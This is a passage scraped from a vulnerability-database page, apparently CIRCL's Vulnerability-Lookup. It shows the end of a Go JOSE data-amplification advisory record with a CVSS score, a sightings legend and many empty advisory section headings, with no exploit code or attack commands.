      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UJO2U5ACZVACNQXJ5EBRFLFW6DP5BROY"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XJDO5VSIAOGT2WP63AXAAWNRSVJCNCRH"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Go JOSE vulnerable to Improper Handling of Highly Compressed Data (Data Amplification)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

Vulnerability from cleanstart

Summary

Details

PoC

Impact

Summary

Fix

Workaround

Impact

Patches

Summary

Details

PoC

Impact

Impact

Patches

Workarounds

Impact

Patches

Workarounds

References

Impact

Patches

Workarounds

Don’t publicly expose OPA’s RESTful APIs

Enable Authentication to Only Allow Access to Trusted Clients

Perform Path Validation Using OPA’s Authorization Policy Functionality

Summary

Details

Impact

Remediation

Remediation

Cosign PoC

Impact

Patches

Tags

Sightings

Nomenclature